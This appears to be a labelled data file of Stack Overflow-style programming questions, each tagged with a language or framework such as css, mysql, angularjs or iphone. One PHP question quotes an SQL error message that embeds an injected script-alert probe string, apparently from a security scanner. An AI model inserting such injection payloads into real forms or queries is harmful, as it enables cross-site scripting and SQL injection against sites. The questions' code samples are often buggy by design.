count of distinct int32 values in .net  i am receiving a stream of unordered int32 values and need to track the count of distinct values that i receive.    my thought is to add the int32 values into a <code>hashset&lt;int32&gt;</code>.  duplicate entries will simply not be added per the behavior of hashset.    do i understand correctly that set membership is based on gethashcode() and that the hash code of an int32 is the number itself     is there an approach that is either more cpu or more memory efficient     <strong>update</strong>     the data stream is rather large.  simply using linq to iterate the stream to get the distinct count is not what i m after  since that would involve iterating the stream a second time.,.net
how to change two way binding variable to one way binding variable in angularjs  i have a two way binding variable in my view and i need to make it as a one way binding.  {{mymsg}} i need to make it as  single binding. how could i achieve it,angularjs
div with floating elements 100% height of its content   why does my parents div  dad  not take the height of its children   <a href= http://jsfiddle.net/mehyj/  rel= nofollow >http://jsfiddle.net/mehyj/</a>   <pre><code>&lt;div id= dad &gt;     &lt;div class= float &gt;1&lt;/div&gt;     &lt;div class= float &gt;2&lt;/div&gt;         &lt;div class= float &gt;3&lt;/div&gt;           &lt;div class= float &gt;4&lt;/div&gt;   &lt;/div&gt;  #dad {  height:100%; width:100px; border:1px solid black; } .float { width:50px; height:50px; background-color:red; float:left; } </code></pre>,css
how text wrapping in datalist   <br/> i have an datalist like this that bind to a table in database and show paper of site. i use a div for show summary of paper. i get summary with a textbox(not editor) and my text don t have any html tag. text that i put on div not wrap.<br/>   <pre><code>&lt;asp:datalist id= datalist1  runat= server &gt;     &lt;itemtemplate&gt;     &lt;div class= dfwrap &gt;     &lt;div class= dfrow &gt;&lt;%#eval( ptitle )%&gt;&lt;/div&gt;     &lt;div class= dfwrap &gt;         &lt;div class= dfleftc &gt;            &lt;div class= divtext &gt;&lt;%#eval( papersummary )%&gt;&lt;/div&gt;            &lt;div&gt;continue....&lt;/div&gt;         &lt;/div&gt;         &lt;div class= dfrightc &gt;&lt;asp:image id= image1  runat= server  imageurl= &lt;%# eval( paperpic    ~/image/paperimg/{0} ) %&gt; /&gt;&lt;/div&gt;     &lt;/div&gt;     &lt;div class= dfrow &gt;date:&lt;%#eval( pdate )%&gt;&lt;/div&gt; &lt;/div &lt;/itemtemplate&gt; &lt;/asp:datalist&gt; </code></pre>    <br/> and css :   <pre><code>.dfwrap { width:100%; clear:both; background:blue; float:left; position:relative;  } .dfleftc {     float:left;     width:71%;     margin:0 auto;     background:yellow;     padding:5px 2% 5px 2%; } .dfrightc {     width:21%;     margin:0 auto;     float:left;     background:red;     padding:5px 2% 5px 2%; } .dfin {     width:96%;     margin:0 auto;     background:green; } .divtext {     overflow:hidden;     word-wrap: break-word; } .dfrow {     width:100%;     padding:5px 2% 5px 2%;     height:20px; } .dfimg {     width:100%;     height:150px; } </code></pre>   i had used word-wrap: break-word; in divtext class   but not work and text not wrap  why  help me please. thanks,asp.net
how to pass in custom event args to the standard asp:controls  i can easily understand how to use custom events in pure c# code  but how can i do pass in custom event arguments on asp:button click     i ve tried all sorts of things (defining new event args  new delegates  etc etc) but i have had no luck.    is there a tutorial of how to do this with the standard asp controls,asp.net
"what is the code meant   i want to remove the cookie from the site. somebody told me to use this code. but i do not know the functionality of the code. please tell me.    <strong><em>here ref is the cookie name which is generating in the site.</em></strong>    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var referrer = document.referrer; //returns the url of the document that loaded the current document.
 if (referrer.indexof(location.host) == -1) {
   console.log( 1 );
   jquery.removecookie( ref );
   if (jquery.cookie( ref ) === undefined) {
     jquery.cookie( ref   referrer  {
       expires: .5 
       path:  / 
     });
     referrer = jquery.cookie( ref );
     console.log( 2 );
   } else {
     console.log( 3 );
     jquery.removecookie( ref );
     referrer = jquery.cookie( ref );
   }
 } else {
   console.log( 4 );
   referrer = jquery.cookie( ref );
 }</code></pre>
 </div>
 </div>",javascript
showing lines in reverse order on the screen  say i have an unknown number of lines with text. for example:   <pre><code>&lt;p&gt;line 1&lt;/p&gt; &lt;p&gt;line 2&lt;/p&gt; &lt;p&gt;line 3&lt;/p&gt; </code></pre>   i want to show them in reverse  so:   <pre><code>line 3 line 2 line 1 </code></pre>   i can not use javascript  only css. is this possible     note: i have potentially an unlimited number of lines (this is an internal feed and new lines are added on the fly)  and am looking for a simple solution that does not involve creating unique css for each of the lines (so the solution suggested here does not work: <a href= https://stackoverflow.com/questions/7425665/switching-the-order-of-block-elements-with-css >switching the order of block elements with css</a>).     this is an internal system and does not require a lot of compatibility. recent chrome/firefox browsers will do.,css
how do iphone apps know about other apps   i recently downloaded an app (overkill) and they have an in game  virtual currency   called  overkill medals  or  om . you can use the in-app purchase system to buy more om  or you can earn it  through their service called  tapjoy.      tapjoy (inside the overkill app) brings up a menu with eligible apps  and a link to the itunes store to download it and requires you to  download and open  the app in order to earn your om.     how does this app know that i have downloaded and opened the app  in order to award me the om     <strong>edit:</strong> it also seems to know when i had the app already,ios
how to understand the behaviour of  right  and  bottom  in css positioning   please check this fiddle    <a href= https://jsfiddle.net/manuchadha/rc0dxog1/12/  rel= nofollow noreferrer >https://jsfiddle.net/manuchadha/rc0dxog1/12/</a>    how does <code>bottom</code> and <code>right</code> work in css as in the following example  they don t seem to have any effect.    html   <pre><code>&lt;div id= div3 &gt; top left bottom right div&lt;/div&gt; </code></pre>   css - this css moves the div as per <code>top</code> and <code>left</code>. right and bottom have no effect.   <pre><code>div#div3 {   width:100px;   height:100px;   background-color:#eaf;   position:relative;     top:50px;   left:50px;   right:50px;   bottom:50px;  } </code></pre>   this css moves the div up as expected.   <pre><code>div#div3 {   width:100px;   height:100px;   background-color:#eaf;   position:relative;     right:50px;   bottom:50px; } </code></pre>   but this css seems to give <code>top</code> and <code>left</code> priority over <code>bottom</code> and <code>right</code>.   <pre><code>div#div3 {   width:100px;   height:100px;   background-color:#eaf;   position:relative;     right:50px;   bottom:50px;   top:50px;   left:50px; } </code></pre>   what is the expected behavior if i give all four properties in the css - <code>top</code>  <code>left</code>  <code>bottom</code>  <code>right</code>  shall i specify only one of <code>right</code> or <code>left</code> and one of <code>bottom</code> or <code>top</code>,css
how to pass position of list item clicked using intent and use that data in my switch case function which shown in code  list view item click and passing position using intent     <pre><code>listview lstview = (listview) findviewbyid(r.id.listview);     lstview.setadapter(new customadapter(this));     lstview.setonitemclicklistener(new onitemclicklistener() {          @targetapi(build.version_codes.honeycomb_mr1)         @override         public void onitemclick(adapterview&lt; &gt; arg0  view arg1  int position                  long arg3) {             // todo auto-generated method stub               bundle basket=new bundle();             basket.getint( pos  position);             intent a= new intent(customlist.this customgrid.class);             a.putextras(basket);             startactivity(a);           }     }); </code></pre>   getting bundle data from previous activity and using  in switch block which is implemented inside getview method but it s not working properly..plz help..   <pre><code>public class customgrid extends activity {  public integer gotbread;  @override protected void oncreate(bundle savedinstancestate) {     // todo auto-generated method stub     super.oncreate(savedinstancestate);     setcontentview(r.layout.customgview);     bundle gotbasket = getintent().getextras();     gotbread = gotbasket.getint( pos );     gridview grdview = (gridview) findviewbyid(r.id.gridview);     grdview.setadapter(new customgridadapter(this));     grdview.setverticalspacing(5); }  public class customgridadapter extends baseadapter {     public integer[] images1 = { r.drawable.s_1  r.drawable.s_2              r.drawable.s_3 };     public integer[] images2 = { r.drawable.s_5  r.drawable.s_6              r.drawable.s_4 };     context m1context;      public customgridadapter(context context) {         super();         this.m1context = context;     }      @override     public int getcount() {         // todo auto-generated method stub         return images1.length;     }      @override     public object getitem(int position) {         // todo auto-generated method stub         return null;     }      @override     public long getitemid(int position) {         // todo auto-generated method stub         return 0;     }      @suppresslint( newapi )     @override     public view getview(int position  view convertview  viewgroup parent) {         // todo auto-generated method stub         layoutinflater inflater = ((activity) m1context)                 .getlayoutinflater();         view customrow1 = inflater.inflate(r.layout.gview  null);         imageview image = (imageview) customrow1                 .findviewbyid(r.id.imageforgrid);        switch (gotbread) {         case 0:             image.setimageresource(images2[position]);             break;         case 1:             image.setimageresource(images1[position]);             break;         }         image.setadjustviewbounds(true);         image.setscalex((float) 0.5);         image.setscaley((float) 0.5);         return customrow1;     } }; </code></pre>   },android
converts degrees/minutes/seconds to decimals using sql  is there any sql script that converts degrees/minutes/seconds (saved in column a) to decimals (to be saved in new column b)  i googled for existing solutions  but all examples refer to decimals->deg/min/sec. i appreciate any example  because i m not strong in sql scripting.,sql
contacts gem not importing yahoo contacts in production environment  i am using contacts-1.2.4 for importing contacts from yahoo and gmail. the issue i am facing is that this gem is working fine on my local setup but on my production environment yahoo contacts importing is not working. it repeatedly gives authentication error. i am using rails-3.1.1 and ruby-1.9.2 for my local and production setup.,ruby-on-rails
issue on converting an array to object  i have a dynamically created array like this on clients side.   <pre><code>value = [   [-88.17179185999998  41.78264698400005]    [-88.17193080699997  41.782605419000056] ] </code></pre>   and i need to store it in an object format in this order with adding new <code> spatialreference : { wkid : 4326 }</code>   <pre><code>   var params = [      {         x : -88.17179185999998          y : 41.78264698400005          spatialreference : { wkid : 4326 }      }        {         x : -88.17193080699997          y : 41.782605419000056          spatialreference : { wkid : 4326 }      }    ]; </code></pre>   can you please let me know how to do this,javascript
how to write an update query which sets a column to the sum of two other columns which are type varchar   here is what i have  the two columns to be added can be null by default:   <pre><code>update house set totaltax=ifnull(muntax 0)+ifnull(schtax 0) where nns_no=542 </code></pre>   this gives me 0 rows affected.  i verified the nns number is correct  i don t really know what to try next.    okay  i found out the columns muntax and schtax are type varchar and not integers. for example  muntax =  $7 725.00   schtax = null  in this case.<br> so the question is now how to extract just the dollar value as an integer before calculating the sum and updating it as varchar (totaltax is also varchar)   do i need a stored procedure,mysql
key value database with c api and open source  i am looking for a key-tuple database  my database stores the entries for various company stock values over past 1 year at 15 minutes granularity. following is the requirements:   <ol> <li>it should be able to store around 20 gb of data (200 million records of around 100 bytes each)</li> <li>we are going to store it on a single machine (no distributed environment)  and the ram can be at max 2 gb. the machine will be 32 bit linux machine  so i guess mongodb is out of question.</li> <li>should be open source  and i can use it for production without any payment/releasing my source code.</li> <li>it <b>must have</b> a good c api and documentation.</li> <li>i would like to keep entries of the following format: <ul> <li>companyid</li> <li>date id // can take values from 1 to 180</li> <li>time id // taken every 15 minutes  so can take values 1-96</li> <li>stock value</li> </ul></li> <li> the key is    <ul> <li>companyid</li> <li>date id // can take values from 1 to 180</li> <li>time id // taken every 15 minutes  so can take values 1-96</li> </ul>   the value is   <ul> <li>stock value</li> </ul></li> </ol>   the following is what i want to be able to do:   <ul> <li>retrieve all records for all the companies at any particular day and a particular time. essentially  i would like to be able to do something like : <ul> <li>select * from table where day = 2 and time = 48;</li> </ul></li> <li>retrieve all the records for a particular company. essentially i would like to be able to do something like: <ul> <li>select * from table where companyid=10223;</li> </ul></li> </ul>   obviously  i dont want to execute many queries  instead  i want the chosen database to be able to support querying as per my requirements above  i.e.  only 1 query should be sufficient to retrieve the above results. needless to say  the response time should be small (upto 1 second is acceptable).    i am open to nosql databases as well. please help.,c
securing method access to a specific assembly  we re in .net 3.5. i would like to secure certain methods (or classes) in one assembly so that only another specific assembly can access it. lets call them <em>consumer</em> and <em>provider</em>    one way i know is by using <code>strongnameidentitypermissionattribute</code>. problem is that we don t sign our assemblies. signing it will make all hell break loose.     another way - is in code by using <code>assembly.getcallingassembly().fullname</code>. and verify name to match. with this  i have to code in each method  at least a call to a reusable method. ok.    and of course there is <code>internalsvisibleto</code> but this is not what we want to be based on.    is there another way how to implement something like this on the class level  or method level  preferably attribute-based  i mean by existing framework capability. i can develop my custom attributes - no doubt,.net
search box to find user in rails  i m somewhat new to rails. i m going through making the classic twitter clone right now. i want to have a search bar on my homepage that allows the user to search for a twitter handle  and if the handle exists  it will send the user to the show page for that twitter handle.     i ve been following a railscast on how to implement a simple search  but instead of doing it on the index like the video  i want to do it on the show action. i ve run into some problems though. the form sits on my user index view. here is the error:   <pre><code>actioncontroller::urlgenerationerror in users#index showing c:/sites/projects/twitterapp/twitter/app/views/users/index.html.erb where line #2 raised:  no route matches {:action=&gt; show   :controller=&gt; users } missing required keys: [:id]  </code></pre>   here is the form:   <pre><code>&lt;%= form_tag(user_path  method:  get ) do %&gt;       &lt;%= text_field_tag(:search  params[:search]) %&gt;       &lt;%= submit_tag( search   name: nil) %&gt; &lt;% end %&gt; </code></pre>   here is my show action:   <pre><code>def show         @user = user.search(params[:search]) end </code></pre>   and here is my search method in my user model:   <pre><code>def self.search(search)         if search             find(:all  conditions:[ name like      %#{search}% ])         else             find(:all)         end end </code></pre>,ruby-on-rails
set images corners rounded  hi  i get the images in json urls images are displayed but images are not rounded corners so wat i do display the images should be corners rounded plz help me,iphone
display a value in div in html using text property dynamically  i have a value      var head=comments;    comments is a string so can i use something like    <pre><code>var hovertext= text=comments ; &lt;div  +hovertext+ &gt;&lt;/div&gt; </code></pre>   to display the string in the div,html
calling a function (php)  i m currently writing a key-cipher function to be able to test later through unit testing. i m very new to php and i m struggling to call a function from the same class. here is the code:   <pre><code>&lt; php class code{  public function keycipher($code){     $alphabet =  abcdefghijklmnopqrstuvwxyz ;     $alpharr = str_split($alphabet);     $codearr = str_split($code);     $cipher = array();     $counter = 0;     foreach($codearr as &amp;$char1){         foreach($alpharr as &amp;$char2){             if($char1 == $char2){                 if(!in_array($char1  $cipher)){                     $cipher[$counter] = $char1;                      $counter++;                 }             }         }      }     foreach($alpharr as &amp;$char1){         if(!in_array($char1  $cipher)){             $cipher[$counter] = $char1;              $counter++;         }     }      return implode($cipher);  }  function ciphersolution($keyword  $code){     $this -&gt; keycipher($keyword);      return $cipher; } }  &gt; </code></pre>   i think it has something to do with the -> operator  but i m not sure how it works.    wkr,php
tools for tracking down un-closed tags  i m trying to track down two missing closing div tags in a 2500 line html document  obviously i m doing this manually but i remember that visual studio helpfully highlights the closing tag of the currently selected tag.    don t have vs available but wondered if anyone knew of similarly helpful tool for this kind of task     //update should probably say that i m already using a validator and an editor with syntax highlighting - mainly i m curious to find out what others use.,html
how to find data from last week in mysql  i want to display data from    q1: only last week of each student.    q2: only last month of each student.    how can i achieve this     <a href= http://sqlfiddle.com/#!2/f1fbb/3  rel= nofollow >demo for week</a>    <a href= http://sqlfiddle.com/#!2/f1fbb/4  rel= nofollow >demo for month</a>   <pre><code>create table `hw_homework` (   `id` int(10) unsigned not null auto_increment    `studentid` int(10) not null    `subjectid` int(10) not null    `assignment_name` varchar(255) collate utf8_unicode_ci not null    `teacherid` int(10) not null    `date` datetime not null    primary key (`id`) ) ;  insert into `hw_homework` (`id`  `studentid`  `subjectid`  `assignment_name`  `teacherid`   `date`) values (1  29  5   5e   20   2012-11-04 13:58:40 )  (2  15  5   32b   20   2012-11-04 13:59:54 )  (3  29  4   q2a   20   2012-10-30 17:53:46 )  (4  29  11   6e   20   2012-11-02 20:06:39 )  (5  29  11   c15   20   2012-10-16 20:06:30 )  (6  15  11   7a   20   2012-09-19 20:08:05 )  (7  29  5   3b   20   2012-09-14 20:08:12 )  (8  29  13   6e   32   2012-10-29 20:23:46 )  (9  29  11   7e   18   2012-10-30 14:35:14 )  (10  2  5   5e   20   2012-10-21 13:58:40 )  (11  2  5   5e   20   2012-10-30 13:58:40 )  (12  2  5   5e   20   2012-10-31 13:58:40 ); </code></pre>   this does not work for last week. it shows this week result.   <pre><code>select  studentid           date_format(`date`   %u ) `weekno`          count(studentid) totalmissed from hw_homework he where date_format(`date`   %u ) = (select max(date_format(now()   %u )) from hw_homework hi where hi.studentid = he.studentid) -- and studentid =    group by studentid  date_format(`date`   %u ) </code></pre>   this does not work for last month. this shows this month result.   <pre><code>select  studentid           date_format(`date`   %m ) `month`          count(studentid) totalmissed from hw_homework he where date_format(`date`   %m ) = (select max(date_format(now()   %m )) from hw_homework hi where hi.studentid = he.studentid) -- and studentid =    group by studentid  date_format(`date`   %m ) </code></pre>   thanks in advance.,mysql
comparing two urls (iphone)  <strong>hello friends  i want to compare two urls in xcode(objective c) how can it be possible  </strong>   <pre><code>-(ibaction) download{ nsurl *url1 = [nsurl urlwithstring:@ http://www.google.com/images hl=en&amp;q=flowers&amp;bav=on.1 or.&amp;um=1&amp;ie=utf-8&amp;source=og&amp;sa=n&amp;tab=wi&amp;biw=1512&amp;bih=677 ]; nsurl *url2 = [nsurl urlwithstring:@ http://www.google.com/imgres imgurl=http://www.missouriplants.com/yellowopp/helianthus_divaricatus_flowers.jpg&amp;imgrefurl=http://www.missouriplants.com/yellowopp/helianthus_divaricatus_page.html&amp;usg=__w-j2oeudpbxhlu4plpc3jhp3wu0=&amp;h=449&amp;w=450&amp;sz=41&amp;hl=en&amp;start=0&amp;zoom=1&amp;tbnid=axuo9vsigswlcm:&amp;tbnh=131&amp;tbnw=134&amp;ei=h9tstebwlc3iraew1kz7bg&amp;prev=/images%3fq%3dflowers%26um%3d1%26hl%3den%26sa%3dn%26biw%3d1512%26bih%3d677%26tbs%3disch:1&amp;um=1&amp;itbs=1&amp;iact=rc&amp;dur=426&amp;oei=h9tstebwlc3iraew1kz7bg&amp;page=1&amp;ndsp=33&amp;ved=1t:429 r:0 s:0&amp;tx=57&amp;ty=98 ];  url = [webview.request url];     nslog(@ urlrecieved  .............................. %@   url); nslog(@ urlrecieved 1 ............................. %@   url1); nslog(@ urlrecieved  2.............................. %@   url2);  if([url isequaltostring:url1])   {     uialertview *alert = [[uialertview alloc] initwithtitle:@ warning  message:@ select an image  delegate:nil cancelbuttontitle:@ ok  otherbuttontitles:nil];     [alert show];     [alert release]; } else if([url isequaltostring:url2]) {     uialertview *alert = [[uialertview alloc] initwithtitle:@ warning  message:@ select an image  delegate:nil cancelbuttontitle:@ ok  otherbuttontitles:nil];     [alert show];     [alert release]; }    else {        nslog(@ downloading... ); nslog(@ url recieved: %@   url); uiimage *image = [[uiimage alloc] initwithdata:[nsdata datawithcontentsofurl:url]]; nslog(@ %f %f  image.size.width image.size.height); nsstring *docdir = @ /users/gauravmurghai/desktop ; // if you go to the folder below  you will find those pictures     nslog(@ %@  docdir);     nslog(@ saving png ); //  nsstring *pngfilepath = [nsstring stringwithformat:@ %@/neetu%d.png  docdir   r]; //      r++;      nsstring *pngfilepath = [nsstring stringwithformat:@ %@/flower.png  docdir];     nsdata *data1 = [nsdata datawithdata:uiimagepngrepresentation(image)];     [data1 writetofile:pngfilepath atomically:yes];     [image release]; } </code></pre>   },iphone
how can i set breakpoint to [datamember] property  i have a  serializable  class and it has  datamember  properties.  how can i set breakpoint when myproperty is set  i try  data breakpoint  in vs  but it is disabled.   <pre><code>[serializable] [datacontract] public class myclass {     [datamember]     public bool myproperty{ get; set; } } </code></pre>,c#
array assertion failed  i am trying to understand why my test failed...   <pre><code>function test(expected  testname) {   if (!expected) {     console.log(testname);   } else {     console.log( test passed );   } }  function testmyarray(arr1  arr2) {   for (var i = 0; i &lt; arr1.length; i++) {     if (arr1[i] !== arr2[i]) {       return false;     } else {       return true;     }   } }   var arr1 = [2  4  6  8  10]; var arr2 = [2  4  6  8  10]; var arr3 = [2  10  6  8  12]; var arr4 = [2  4  6  8  10  12];  test(testmyarray(arr1  arr4) === false   false if input not eq ) // should say false test(testmyarray(arr1  arr2) === true   true if input eq ); // passed test(testmyarray(arr1  arr3) == false   false if input not eq ); // should say false </code></pre>   any idea how can i modify my <code>testmyarray</code> to make a passing statement  what am i missing,javascript
how avoid redundant variable in angularjs  i have 2 controllers.     the first one is listcontroller.js:   <pre><code>app.controller( listctrl   function($scope  $http  $controller  $window) {      $scope.user = [{id:1 name: rina } {id:2 name: anna } {id:3 name: yuna }]; }); </code></pre>   and the second is editcontroller.js   <pre><code>app.controller( editctrl   function($scope  $http  $controller  $window) {     $scope.user = [{id:1 name: rina } {id:2 name: anna } {id:3 name: yuna }]; }); </code></pre>   as u can see. i used the variable <code>$scope.user</code> in both controller. now i want to used it once. i mean i want to avoid redundant codes. how can i call the variable in any of my controller. any suggestions,angularjs
javascript conditional switch statement  is there a way to write a conditional switch statement in javascript      i m guessing not  since the following is always going to default:   <pre><code>    var raw_value = 11.0;     switch(raw_value)     {         case (raw_value &gt; 10.0):           height = 48;           width = 36;           break;         case (raw_value &gt; 5.0):           height = 40;           width = 30;           break;         default:           height = 16;           width = 12;           break;     } </code></pre>   if not  what should i use instead - a long if/else statement     thanks :),javascript
unable to import module from parent directory in package  i have the following the directory structure   <pre><code>pytest_testing/     __init__.py       math_ops.py     dbs/           __init__.py         dbconnect.py      tests/         test1.py </code></pre>   now in test1.py i am trying to do import a function from dbconnect module  like this <code>from pytest_testing.dbs.dbconnect import query_data</code> but i get error  no module named pytest_testin.    if i try the same in a directory above pytest_testing everything works just fine. am i missing something here,python
javascript detect display monitors connected to a pc  my question may sound a bit silly  but is important for my work - suppose i have a web application running javascript on my pc. i have a display monitor/computer connected to my pc. is it possible for javascript to detect the machine connected to my pc and display a specific webpage on this secondary  machine      the reason i need it is because when js detects some condition on my pc  it should open up a page on a specific machine connected to my pc.     would be grateful for any help!!,javascript
issue in adding dynamic scope variable in ng-src  i want a append a dynamic variable that is my host name to image url but i add that i am getting error in console. i used the below code. in controller.   <pre><code>$scope.host = localhost:8199/ ; &lt;img ng-src= {{group.groupimagepath   +host+ group.groupimagepath :    ( img/group.png )}} /&gt; </code></pre>   i want to get the host,angularjs
ruby on rails passing object in named routes  i was reading rails guides - <a href= http://guides.rubyonrails.org/  rel= nofollow >http://guides.rubyonrails.org/</a> i am not able to understand the syntax: <code>redirect_to @article</code> inside the method :   <pre><code>def create     @article = article.new(article_params)     if @article.save       redirect_to @article   else       render  new      end   end </code></pre>   and also i am not able to comprehend the syntax- <code>url: article_path(@article)</code> inside the defination of form    <pre><code>&lt;%= form_for :article  url: article_path(@article)  method: :patch do  </code></pre>,ruby-on-rails
html: trying to send position of a drop down box and contents of input box on button press  i should start by saying i am <em>not</em> an html programmer. i m trying to create what should be a simple html page for an embedded server i m working on and creating with embedded c.     i ve successfully populated a very large html drop-down box with over one hundred entries and sent what is selected by the drop down box when a button is pressed. this seems to work ok. i m doing the following:   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;body&gt; &lt;form action=   method= post &gt; &lt;fieldset&gt; &lt;select name= tileid &gt;&lt;option value= 0 &gt;+61.22-kc-e02-e01&lt;option value= 1 &gt;+61.22-kc-e02-e02&lt;option value= 2 &gt;+61.22-kc-e02-e03  etc etc etc  &lt;input type= submit  name= on  value= switch tile on &gt; &lt;/fieldset&gt; &lt;/form&gt;control the lights on the dali buses &lt;br&gt; &lt;br&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   the drop down box  as i said  has over 100 entires in it.    with this  i send back a no content from the embedded server to the broswer and it seems happy.    what i need to do is add a text box so i can add light level to set a light to. i ve tried all sorts of things such as adding:   <pre><code>&lt;input type= text  name= level  value= % level &gt; </code></pre>   changing <code>&lt;form&gt;</code> to:   <pre><code>&lt;form action=   method= post &gt; </code></pre>   but nothing works. various things either just don t work or i get a timeout when the button is pressed.     i got the impression what i wanted to do should be quite simple  but i m going round in circles now! would be most grateful if someone could point out where i m goign wrong and what i need to do.,html
querying sub queries does not appear to work  this question is on the back of a recent question about sub queries in sql. thanks to the help from folk on so i received a code block that i believe should work but does not run:   <pre><code>select usersanddlcount.nim_user_id  usersanddlcount.nim_event_type_id from (select vwnimeventfct.nim_user_id  count(vwnimeventfct.nim_event_type_id)     from rdmavwsandbox.vwnimeventfct     where nim_event_type_id = 884     group by nim_user_id) usersanddlcount where nim_user_id &gt;100 </code></pre>   this is perhaps not the best example since i could just add the last where clause within the sub query but at this point i just want to see it working.    can anyone spot what is wrong here,sql
could someone explain why converting to int and using read line instead of read fixed my issue   so previous i was having a ton of trouble with finding the difference between a randomly generated number and user input. i did a little search and found that i couldn t use <code>console.read();</code> and that i actually had to use this <code>int guess = convert.toint32(console.readline());</code> while playing around with it i accidentally made it <code>convert.toint32(console.read());</code> which was in turn making the math completely wrong. apologies if i m not explaining myself effectively i m new to coding and this was meant to be something to learn from. thanks!   <pre><code>using system; using system.collections.generic; using system.linq; using system.text; using system.threading; using system.threading.tasks;  namespace consoleapplication2 {     class program     {         static void main(string[] args)         {             console.writeline( would you like to play the guessing game  );             string input = console.readline();              if (input.equals( yes ))             {                 console.writeline( alright! the rules are simple  i ll think of a number and you guess it! );                 console.writeline( alright enter your guess:  );                   int guess = convert.toint32(console.readline());                   random rand = new random();                 int answer = rand.next(1 11);                  if (rand.equals(guess))                 {                     console.writeline( congratulations you guessed correctly! );                 }                 else                 {                     console.writeline( aww you were so close! i guessed   + answer);                     int difference = guess - answer;                     console.writeline( you were only   + math.abs(difference) +   away );                 }              } else              {                 console.writeline( closing application... );                 thread.sleep(1000);                 environment.exit(0);             }         }     } } </code></pre>,c#
why am i not able to print variable value directly in main method which is declared in class above main method   <strong>why static variable value been allowed to print directly in main method  while to print normal integer type value  it requires to creation of object.</strong>   <ul> <li>although that is global  but x is also being accessed in same class then why i can t directly access that.  </li> </ul>   while answering   please cover memory allocation part.     from my understanding    <blockquote>    static  as it is global variable stored on permanent generation  then what about this primitive int x  is this not allocated on private stack  please assist.  </blockquote>  <pre><code>  public class test{      int x = 7;     static int y = 10;      public static void main(string[] args) {          system.out.println( the value of y  + y);          //compile error on sysout for value x like this          //system.out.println( the value of x  + x);         //while in this way i am able to print x  why           test test= new test();         system.out.println( the value of x  +test.x);      }  } </code></pre>   <strong><em>please assist on memory allocation of program  thanks in advance!</em></strong>,java
java script return value  i new to javascript i want to know how to return true false value from javascript function to code behind so that my further code should not execute    here is my code    <pre><code>&lt;script type= text/javascript &gt;      function checkage(age)     {         if (age &gt; 18)              return true         else             return false;     }   &lt;/script&gt; </code></pre>   here is .cs code    <pre><code>protected void btnage_click(object sender  eventargs e)     {         bool check=false;         try         {              btnage.attributes.add( onclick   string.format( return checkage({0});   check    false  :  true ));             if (check)                 response.write( you are eligible );             else                 response.write( you are not eligible );         }         catch (exception err)         {                           response.write(err.message);         }     } </code></pre>   where i am going wrong,javascript
how to use angular services with controllers  i m new to angular and i ve been told that it s better to make services do the heavy lifting for the controllers  but i m finding it diffcult to make use of the services i ve created. i ve seen several questions on this but i can t find solutions.     here s my service    <pre><code>(function () {    use strict ;  var office = angular.module( office   []);  office.factory( auth   [ $http    $localforage    $scope   function ($http  $localforage  $scope) {      var auth = {}      auth.login = function (credentials) {         $http.post( /auth_api/login   credentials)             .then(function (data) {                     $localforage.setitem( user   data.data)                 }                  function () {                     $scope.login_error =  invalid username/password                  })     }      $localforage.getitem( user ).then(function (data) {         auth.isauthenticated = !!data.id     })      return auth }]) </code></pre>   and here s my controller   <pre><code>office.controller( logincontroller   [ $scope    auth   function ($scope  auth) {      $scope.login = auth.login($scope.user) }]) </code></pre>,angularjs
potential leak when calling addsubview [iphone]  i m making an app that changes between many xibs. although leaks tool doesn t call it out  whenever i load a new view  the program s memory footprint gets larger and larger.    if i comment out:   <pre><code>[self.view addsubview:currentview.view]; </code></pre>   the program s memory use doesn t change.    relevant code:   <pre><code>- (void)setpage{ [currentview release]; //retained switch (pagenumber) {     case 0:         currentview = [[theviewcontroller alloc]                        initwithnibname:@ pagex                         bundle:nil];         break;     ///page 1  page2  etc. } for (clearingview in [self.view subviews]) {     [clearingview removefromsuperview];     //[clearingview release]; = crash } [self.view addsubview:currentview.view]; //leaky } </code></pre>   i m using one view controller.,iphone
why am i seeing the following warning:  messages without a matching method signature wii be assumed to return  id  and accept ... as arguments     while wirting below code i have  got the warning: messages without a maching method signature wii be assumed to return  id  and accept ... as arguments    <pre><code>viewslider *viewslider=[[viewslider alloc]init]; [viewslider slideview:view1 secondview:view2];  </code></pre>,iphone
trying to remove functionality on an element  i m trying to remove  functionality  on one of my elements.    this is the html/php that generates the code:   <pre><code>        &lt;table&gt;         &lt; php for($i = 0; $i &lt; 10; $i++){  &gt;             &lt;tr&gt;                 &lt; php for($k = 0; $k &lt; 10; $k++) { &gt;                     &lt;td&gt;asd&lt;/td&gt;                 &lt; php } &gt;             &lt;/tr&gt;         &lt; php }  &gt;     &lt;/table&gt; </code></pre>   and here is the jquery:   <pre><code>            $( td:not(done) ).click(function(){                 $(this).addclass( done );                 if(blue){                     $(this).css( background-color    blue );                     blue = false;                 } else {                     $(this).css( background-color    red );                     blue = true;                 }             }); </code></pre>   trying to add a class to the td element that has been clicked so it does not work after first click. but can t make it work.,jquery
finding the script element in a string with strpos | php  how can i find a  element in a string with the php function <code>strpos</code>. i get a parse error whenever i execute the function with the $error string.     <blockquote>    [symfony\component\debug\exception\fatalerrorexception]   parse error  </blockquote>  <pre><code> $error =   you have an error in your sql syntax;                        check the manual that corresponds to your mysql server version                for the right syntax to use near               =&lt;script&gt;alert( o7v87r99ib )&lt;/script&gt;   at line 1 ;             $str =  =&lt;script&gt;alert( o7v87r99ib )&lt;/script&gt; ;                  if(strpos($error  $str)){                     echo  found:   . $str;                 } </code></pre>,php
how to create a line between two spheres using helix3dtoolkit  i am using the following code to draw a sphere in helixviewport3d. now i want to create a line between two spheres. any suggestions please.    thanks   <pre><code>var meshbuilder = new meshbuilder(false  false); meshbuilder.addsphere(new point3d(0  0  0)  0.1f  10  10); var mesh = meshbuilder.tomesh(true); modelgroup = new model3dgroup(); var greenmaterial = materialhelper.creatematerial(colors.green); var insidematerial = materialhelper.creatematerial(colors.yellow);  mygeometry = new geometrymodel3d(); mygeometry.material = greenmaterial; mygeometry.backmaterial = insidematerial; mygeometry.geometry = mesh;  modelgroup.children.add(mygeometry);      mymodelvisual3d = new modelvisual3d(); mymodelvisual3d.content = modelgroup; myview.children.clear(); myview.children.add(mymodelvisual3d); </code></pre>,.net
